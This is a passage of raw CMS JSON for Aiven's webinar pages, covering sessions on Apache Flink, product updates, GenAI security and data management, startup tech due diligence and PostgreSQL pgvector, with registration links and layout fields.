makers"},{"_key":"d8b1a8f3cf9d1","_type":"span","marks":[],"text":" who want to ask the hard questions and make informed decisions about event stream processing and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f3caee591798","_type":"block","children":[{"_key":"0c35a739e2b30","_type":"span","marks":["strong"],"text":"Data platform owners/Product Managers/Product Owners"},{"_key":"0c35a739e2b31","_type":"span","marks":[],"text":" who want a broader perspective on how a stream processing managed service can unlock new use case scenarios"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0bb5c85c6225","_type":"block","children":[{"_key":"0c35a739e2b32","_type":"span","marks":["strong"],"text":"Software architects/Platform Engineers"},{"_key":"0c35a739e2b33","_type":"span","marks":[],"text":" exploring stream processing solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"This on-demand webinar discusses what is Apache Flink, why you should use it, what is Aiven for Apache Flink and its features.","thankyouContent":[{"_key":"fbd89b4997a7","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Event streaming platforms","text":[{"_key":"44529d336668","_type":"block","children":[{"_key":"d73e0f88fab80","_type":"span","marks":[],"text":"During this webinar, David Esposito shares lessons learned from event streaming use cases in every industry over a global customer base:"}],"markDefs":[],"style":"normal"},{"_key":"43220a8cd35e","_type":"block","children":[{"_key":"8609a9f349ef0","_type":"span","marks":[],"text":"How to balance the total cost of ownership (TCO) of streaming solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df011f9fb5ca","_type":"block","children":[{"_key":"145f150a75df0","_type":"span","marks":[],"text":"How to meet your critical recovery time objectives when choosing a streaming solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3cbd098bca3f","_type":"block","children":[{"_key":"27e9d1eadd110","_type":"span","marks":[],"text":"What does that mean for an engineering team’s on-call schedule?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"4 ways to think like a software architect while evaluating solutions","variant":"mediaLeft","ytId":"5Y4RENkDypY"}],"title":"Aiven for Apache Flink® - A new developer experience for data stream processing","ytId":"Q03N0PairMI"},"publishedAt":"2023-03-02T11:26:48.731Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"f4058728d6d2","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"8f731d64771e","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Together with Aiven for Apache KafkaⓇ, Aiven for Apache Flink provides an end-to-end environment to ease the development of stream processing applications.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1447ddbddc46e756dbed823c8b935cd728c1c775-2560x1440-png","_type":"reference"}},"metaTitle":"New Developer Experience for Data Stream Processing"},"slug":{"_type":"slug","current":"/webinar/aiven-for-apache-flink-a-new-developer-experience"}} {"__i18n_lang":"en","_createdAt":"2023-12-18T16:39:27Z","_id":"9031be69-3e30-4682-aa3a-b0e4d54cf7b1","_rev":"on5KSabgAN0raW406W9qJ9","_type":"webinar","_updatedAt":"2024-02-07T11:53:02Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"43731101b6a7","_ref":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_type":"reference"},{"_key":"84c0d2348295","_ref":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_type":"reference"},{"_key":"3397ef031f43","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"withBio"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2023-12-18/tf825","title":"Register to discover the latest product updates and features in the Aiven Platform"},"subtitle":[{"_key":"184a8fd81323","_type":"block","children":[{"_key":"608706c81498","_type":"span","marks":[],"text":"Check the video recording of our webinar 'What's new with Aiven - Q4 2023/Q1 2024 to discover all the latest product developments in Aiven’s open source data platform!"}],"markDefs":[],"style":"normal"},{"_key":"e0a920959e00","_type":"block","children":[{"_key":"0859045aba03","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fe051bc1cacc","_type":"block","children":[{"_key":"8043403619cb","_type":"span","marks":[],"text":"During this webinar, our product team covers among other topics: "}],"markDefs":[],"style":"normal"},{"_key":"8600199d1bb1","_type":"block","children":[{"_key":"1dc242eb3c87","_type":"span","marks":[],"text":"how Aiven democratizes access to popular open source technologies directly from your cloud account using Bring-Your-Own-Cloud (BYOC) as a self-service deployment model."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e1738835ffc","_type":"block","children":[{"_key":"91c55e65a9ed","_type":"span","marks":[],"text":"how customers can leverage Tiered Storage across technologies in the Aiven Platform for improved cost-to-performance ratio, stability and scalability in their data infrastructure. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"96908a1be9d8","_type":"block","children":[{"_key":"ef82cf7b96da","_type":"span","marks":[],"text":"upcoming product updates scheduled to come up in the next few months that will further enhance Aiven platform's capabilities for enterprises across the globe."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"caf912b3922f","_type":"block","children":[{"_key":"4049e73a2425","_type":"span","marks":[],"text":"The recording ends with some Q\u0026A where the audience gets answers to burning questions as we discover how Aiven can take your open source data infrastructure to the next level!"}],"markDefs":[],"style":"normal"}],"summary":"During this webinar, we will be sharing the latest product announcements from the Aiven platform from Q4 2023 and take a sneak peek of what's coming in Q1 2024.","thankyouContent":[{"_key":"97b2adb1f19d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9c4483be7049","_type":"block","children":[{"_key":"0c8dc81711e0","_type":"span","marks":[],"text":"Thank you for registering for the webinar "},{"_key":"9100550809d3","_type":"span","marks":["strong"],"text":"What’s new with Aiven Q4 2023 - Q1 2024: Latest product updates and features in the Aiven Platform"},{"_key":"5ed523aa871f","_type":"span","marks":[],"text":". You will get an email confirmation soon."}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"oneColumn"},{"_key":"d5e36a8703fc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"text":[{"_key":"4aa53c6f69f9","_type":"block","children":[{"_key":"0363be47db0e","_type":"span","marks":[],"text":"We provide a free 30-day trial, give you $300 credit to play with, and unrestricted access to our complete range of open source services."}],"markDefs":[],"style":"normal"},{"_key":"ecec3338fb05","_type":"block","children":[{"_key":"9b05a1bc685e","_type":"span","marks":[],"text":"When you’ve finished the trial period, you only pay for what you use. There are no hidden charges, and you can shut down and spin up clusters, add services, or change providers at the click of a button."}],"markDefs":[],"style":"normal"}],"title":"Everything you need – for free","variant":"mediaLeft","ytId":"FJxVeA5ORY0"}],"title":"What's New with Aiven - Q4 2023/Q1 2024","ytId":"3t6DF7h05uY"},"publishedAt":"2024-02-06T16:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"f1f2e7a55cc4","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"},{"_key":"ad6a930fe073","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"During this webinar, we will be sharing the latest product announcements from the Aiven platform from Q4 2023 and take a sneak peek of what's coming in Q1 2024.","metaImage":{"_type":"mainImage","alt":"Aiven Platform, bring your own cloud, BYOC, Tiered Storage, Apache Kafka, Webinar","asset":{"_ref":"image-4b505cc3e46f4803f07127cada2a5e8842d75397-1200x628-png","_type":"reference"}},"metaTitle":"Webinar: What's New with Aiven - Q4 2023/Q1 2024"},"slug":{"_type":"slug","current":"/webinar/whats-new-with-aiven-q4-2023-q1-2024"}} {"__i18n_lang":"en","_createdAt":"2024-02-05T12:21:17Z","_id":"27b51164-dd26-4fca-a8c0-cf0ebed0752f","_rev":"67bMqYmOBHw05z0ZSGfoQt","_type":"webinar","_updatedAt":"2024-04-02T09:46:32Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"e1d84acc81be","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","showProfilePage":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"f9f8fde8a46f","_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"webinar"},{"_key":"fffb8b3e2957","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Explore Aiven Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"e96d544634db","_type":"block","children":[{"_key":"94d0cfe1b38b0","_type":"span","marks":[],"text":"One platform for streaming, storing and analyzing data on any cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Service","title":"Aiven Platform","variant":"default"},{"_key":"376968946ec5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Learn More"},"image":{"_type":"mainImage","asset":{"_ref":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"3d2a7ea8688f","_type":"block","children":[{"_key":"43d85df38d930","_type":"span","marks":[],"text":"Get the proven open source data services you love on Google Cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Partner","title":"Aiven + Google Cloud Partnership","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":true,"hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-02-05/tk5yn","title":"Watch the session recording"},"registrationType":"iframe","subtitle":[{"_key":"5dbff70e21de","_type":"block","children":[{"_key":"0c6bfaf5297e0","_type":"span","marks":["strong"],"text":"AI Deployment Summit: Integration Developer News Webinar"}],"markDefs":[],"style":"normal"},{"_key":"0ad9294389cf","_type":"block","children":[{"_key":"107290a1f8200","_type":"span","marks":[],"text":"Generative AI is on every company agenda, but its path to adoption is far from trivial. In this session, we'll explore business opportunities of Generative AI deployments and evaluate the risks associated. We'll analyse in detail the problems related to exposing private, regulated, or commercially valuable data and outline the necessary data infrastructure and processes needed to safely adopt AI models. If you are considering Generative AI for your business, this talk provides methods for creating safe, up-to-date, and performant applications."}],"markDefs":[],"style":"normal"},{"_key":"aa6f52328648","_type":"block","children":[{"_key":"0b24878e48530","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e0cb4f74ec0c","_type":"block","children":[{"_key":"fd1cafb1ce47","_type":"span","marks":[],"text":"In this session we will:"}],"markDefs":[],"style":"normal"},{"_key":"193dc64861da","_type":"block","children":[{"_key":"eaac1c4d82720","_type":"span","marks":[],"text":"Evaluate opportunities and risks associated with Generative AI adoption"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"00a7cd240faf","_type":"block","children":[{"_key":"2cc8949dd41e0","_type":"span","marks":[],"text":"Design an architecture for Generative AI needs while satisfying companies' data security requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a85b2188ba80","_type":"block","children":[{"_key":"01909f130c900","_type":"span","marks":[],"text":"Understand how an integrated data platform fits in the overall Generative AI architecture, with examples from the major cloud vendors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Explore transformative event-driven architectures. Gain insights to enhance user experiences and achieve tangible business results.","thankyouContent":[{"_key":"e0f1bb0bed88","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"e75bc5aa028a","_type":"block","children":[{"_key":"58d708b5df2f","_type":"span","marks":[],"text":"You can watch the webinar "},{"_key":"9f049f12437f","_type":"span","marks":["strong"],"text":"Adopt GenAI with Robust Security and Data Management "},{"_key":"44d3dec181da","_type":"span","marks":[],"text":"here. We hope you enjoy the session!"}],"markDefs":[],"style":"normal"},{"_key":"97ac66639192","_type":"block","children":[{"_key":"48b260fc4cd9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f2f0029793bd","_type":"block","children":[{"_key":"861fb184ac30","_type":"span","marks":[],"text":"What's inside? "}],"markDefs":[],"style":"h4"},{"_key":"6bc887646fd9","_type":"block","children":[{"_key":"6f2336f7ac47","_type":"span","marks":[],"text":"Expert "},{"_key":"65c83a17dfe0","_type":"span","marks":["strong"],"text":"tips on opportunities and risks"},{"_key":"2ff168d3758f","_type":"span","marks":[],"text":" tied to Generative AI adoption"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"34136bcfb3ee","_type":"block","children":[{"_key":"9a2a36c0f7a4","_type":"span","marks":[],"text":"Simple strategies for designing a "},{"_key":"44a6e4ebb424","_type":"span","marks":["strong"],"text":"secure architecture"},{"_key":"4fa3654c7373","_type":"span","marks":[],"text":" that meets your data security needs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9dca9cfcd997","_type":"block","children":[{"_key":"c1dbcf7a45ab","_type":"span","marks":[],"text":"Real-world examples showcasing integrated data platforms from "},{"_key":"da8d6c96732f","_type":"span","marks":["strong"],"text":"top cloud vendors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Thank you for your interest!","variant":"mediaRight","ytId":"3m0Hewsje50","ytImg":{"_type":"mainImage","alt":"IDN Webinar recording with Francesco Tisiot","asset":{"_ref":"image-db58ab71b3ea809de8a8a96d2ff41f92d59502ee-1920x1080-png","_type":"reference"}}}],"title":"Adopt GenAI with Robust Security and Data Management","ytId":"5A-xFMKlnL8"},"publishedAt":"2024-02-07T17:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"7d059930ad52","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore opportunities and risks in adopting Gen AI for your business. Learn to design a secure architecture and integrate data platforms effectively.","metaImage":{"_type":"mainImage","alt":"IDN Webinar recording with Francesco Tisiot","asset":{"_ref":"image-db58ab71b3ea809de8a8a96d2ff41f92d59502ee-1920x1080-png","_type":"reference"}},"metaTitle":"Adopt GenAI with Robust Security and Data Management"},"slug":{"_type":"slug","current":"/webinar/adopt-genai-with-robust-security-and-data-management"}} {"__i18n_lang":"en","_createdAt":"2024-01-10T14:18:33Z","_id":"4e0239a8-70e2-4ee1-ae90-beeda261aac6","_rev":"ie5WJlLr1SLUBaBgCwlQ9Q","_type":"webinar","_updatedAt":"2024-02-23T10:12:20Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"e43d711ebbeb","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"c4c7aec48a31","_ref":"f733ad5b-20da-442b-8451-ab4ebdbf7092","_type":"reference"},{"_key":"0092b4628fe6","_ref":"2773b73e-82c0-4385-87d7-fd8b6f5e62a1","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"45b3c6064bf7","_type":"block","children":[{"_key":"eac53e61b75c0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"45b3c6064bf7","_type":"block","children":[{"_key":"eac53e61b75c0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Speakers","variant":"withBio"}],"contentIsGated":false,"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":445,"iframeSource":"https://go.aiven.io/l/890043/2024-01-15/th2kc","title":"Register to secure your seat"},"subtitle":[{"_key":"204741a00e26","_type":"block","children":[{"_key":"ecd7ffad7ba8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6edb16bf09bd","_type":"block","children":[{"_key":"6ca46b76bd94","_type":"span","marks":[],"text":"Join us for an insightful conversation with Sasha Vidiborskiy from Atomico, where he will share the practical aspects of how Atomico approaches tech due diligence for startups. "}],"markDefs":[],"style":"normal"},{"_key":"e253b1367c70","_type":"block","children":[{"_key":"09e1948faf12","_type":"span","marks":[],"text":"Sasha will provide examples of:"}],"markDefs":[],"style":"normal"},{"_key":"adf3857f4aef","_type":"block","children":[{"_key":"ab2a2c33e238","_type":"span","marks":[],"text":"what investors evaluate at different funding stages"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"523b95e89491","_type":"block","children":[{"_key":"ba04f4c713c6","_type":"span","marks":[],"text":"guide on preparing for a tech due diligence process"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f3e3b5dfe65","_type":"block","children":[{"_key":"b69cf9d22e44","_type":"span","marks":[],"text":"offer insights on being investment-ready in 2024"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c5c84f63fe16","_type":"block","children":[{"_key":"8ccb3f31144a0","_type":"span","marks":[],"text":"Check out this insightful session tailored for early stage founders gearing up to navigate the fundraising landscape in 2024."}],"markDefs":[],"style":"normal"}],"summary":"Explore tech due diligence insights with Sasha Vidiborskiy from Atomico as he shares practical approaches for startups. ","thankyouContent":[{"_key":"84d837238cad","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"80fa2629dd6a","_type":"block","children":[{"_key":"23cf60972bdf","_type":"span","marks":[],"text":"Thank you for registering for the webinar "},{"_key":"9f7d897daaaf","_type":"span","marks":["strong"],"text":"Tech Due Diligence for Early Stage Startups: Insights from Atomico"},{"_key":"019a9d2683e2","_type":"span","marks":[],"text":". You will get an email confirmation soon."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Thank you for your interest","variant":"oneColumn"}],"title":"Tech Due Diligence for Early Stage Startups: Insights from Atomico ","ytId":"g-__mqsf-kM"},"publishedAt":"2024-02-21T17:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Explore tech due diligence insights with Sasha Vidiborskiy from Atomico as he shares practical approaches for startups. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db-1200x628-png","_type":"reference"}},"metaTitle":"Webinar: Tech Due Diligence for Early Stage Startups"},"slug":{"_type":"slug","current":"/webinar/tech-due-diligence-for-early-stage-startups-insights-from-atomico"}} {"__i18n_lang":"en","_createdAt":"2024-08-07T12:43:51Z","_id":"01882d04-48b8-45b7-84e1-f1c5f58890a6","_rev":"kRa0sLdvlB8lPXh7mzk6vz","_type":"webinar","_updatedAt":"2024-09-17T09:13:47Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"86192c050dfa","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"e145bd6f34c9","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"5981394ac10d","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"About the speakers","variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioEventId":"Z9sEhm7ZrgXWIyZp","demioSubmitText":"Register","title":"Secure Your Spot"},"downloadText":"Watch now","hasVideo":true,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-22/ty8kl","title":"Register"},"registrationType":"demio","subtitle":[{"_key":"20946a1a4e26","_type":"block","children":[{"_key":"c64d36d8b68a0","_type":"span","marks":[],"text":"In the rapidly evolving landscape of Generative AI (GenAI), businesses often feel pressured to adopt new, specialized technologies to stay ahead. However, the power to revolutionize your applications with GenAI may "},{"_key":"94eae3aebe6e","_type":"span","marks":["strong"],"text":"already reside within your current database infrastructure"},{"_key":"bbc6234d7fd6","_type":"span","marks":[],"text":". Watch this webinar where we explore how to unlock ROI and accelerate GenAI onboarding while reducing implementation risks. "}],"markDefs":[],"style":"normal"},{"_key":"d762b48089ad","_type":"block","children":[{"_key":"e925f8b7a46a0","_type":"span","marks":[],"text":"We will cover:"}],"markDefs":[],"style":"normal"},{"_key":"3a58393f1013","_type":"block","children":[{"_key":"3cdbb7c9ba070","_type":"span","marks":["strong"],"text":"Understanding Vector Capabilities"},{"_key":"3cdbb7c9ba071","_type":"span","marks":[],"text":": Learn how the embedding process transforms data into vectors and why efficient storage and search are crucial for GenAI applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"31176f16f53a","_type":"block","children":[{"_key":"931e6b415efe0","_type":"span","marks":["strong"],"text":"PostgreSQL and pgvector"},{"_key":"931e6b415efe1","_type":"span","marks":[],"text":": Discover how PostgreSQL, enhanced with the pgvector extension, can address 80% of common GenAI use cases, providing a streamlined and cost-effective path to AI-driven solutions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ee1052b1af45","_type":"block","children":[{"_key":"0bbdfe96efd00","_type":"span","marks":["strong"],"text":"Ease of Use and ROI"},{"_key":"0bbdfe96efd01","_type":"span","marks":[],"text":": Evaluate the benefits of leveraging familiar database technologies to manage GenAI implementation risks, reduce complexity, and accelerate time to market."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"98d918bdcc33","_type":"block","children":[{"_key":"6c06e3a41ece0","_type":"span","marks":["strong"],"text":"Future Trends"},{"_key":"6c06e3a41ece1","_type":"span","marks":[],"text":": Gain insights into the next stage of GenAI evolution within database technologies, including AI in databases currently, and what is achievable as of now?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"318a79edf52a","_type":"block","children":[{"_key":"29f1314cf4050","_type":"span","marks":[],"text":"Don't miss this opportunity to learn how to maximize your existing data technologies for GenAI, ensuring you make informed decisions that drive real business outcomes without unnecessary investments. \n"}],"markDefs":[],"style":"normal"}],"summary":"Aiven Webinar: The GenAI power you already have","thankyouContent":[{"_key":"c6bfa28637cf","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven webinar with speaker headshots","asset":{"_ref":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ec24ee577c34","_type":"block","children":[{"_key":"50fb33fa544c","_type":"span","marks":[],"text":"Thank you for your interest in \""},{"_key":"efa48efd0662","_type":"span","marks":["strong"],"text":"Don’t Buy the Hype: The GenAI Power You Already Have\" "},{"_key":"7bbac26efc30","_type":"span","marks":[],"text":"webinar. You will soon receive a confirmation email with a calendar invite. "}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","topOverlap":false,"variant":"mediaRight"}],"title":"Don’t Buy the Hype: The GenAI Power You Already Have","videoHosting":"youtube","ytId":"HwW9Op6XNDs"},"publishedAt":"2024-09-12T15:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"64b5e8250b36","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"f246370c393d","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Aiven Webinar: Learn how to maximize your existing data technologies for GenAI","metaImage":{"_type":"mainImage","alt":"\"What's New with Aiven\" webinar","asset":{"_ref":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_type":"reference"}},"metaTitle":"Webinar | What's New with Aiven"},"slug":{"_type":"slug","current":"/webinar/whats-new-with-aiven-genai-power"}} {"__i18n_lang":"en","_createdAt":"2023-07-21T08:51:39Z","_id":"545ebc12-d9e2-47b9-bff8-e36085416e0b","_rev":"Q21J3pgWoUWkhUhtSrB1sT","_type":"webinar","_updatedAt":"2023-07-24T09:10:17Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"079ee4237283","_ref":"a9ad78f2-90a2-4ed5-8d69-582d438ac0f8","_type":"reference"},{"_key":"0445d9cc4d4d","_ref":"2ddb24de-a362-4858-bd05-aa49c3310b14","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"e2339f8f97bc","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","alt":"Hookdeck customer story","asset":{"_ref":"image-b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4-6000x4000-jpg","_type":"reference"}},"subtitle":[{"_key":"4f481981c669","_type":"block","children":[{"_key":"491d6b3d4a100","_type":"span","marks":[],"text":"Aiven for Clickhouse® delivers 30x performance uplift and halves storage requirement."}],"markDefs":[],"style":"normal"}],"tagline":"Case study","title":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services","variant":"default"},{"_key":"3d134b70a603","_ref":"ElLnRMEzVGBvCslc1mXoT","_type":"reference"},{"_key":"25fcc23b4e4a","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"3bacbb799c76","_type":"block","children":[{"_key":"f7b50b5c92b10","_type":"span","marks":[],"text":"Event streaming for continuous movement and processing of a series of data points, or events."}],"markDefs":[],"style":"normal"}],"tagline":"Solution","title":"Aiven for event streaming","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-31/sgndj","iframeTitle":"Register Webinar BYOC","title":"Register for June 15th at 9 AM ET | 3 PM CET"},"subtitle":[{"_key":"83baa0948db2","_type":"block","children":[{"_key":"313c1f793e120","_type":"span","marks":[],"text":"Don't miss our webinar: Automated event-driven data architecture with Bonsai on Aiven for Google Cloud! "}],"markDefs":[],"style":"normal"},{"_key":"0f437341bd60","_type":"block","children":[{"_key":"1820c7f1b3750","_type":"span","marks":[],"text":"Join Brent Van Geertruy, Director of Engineering at 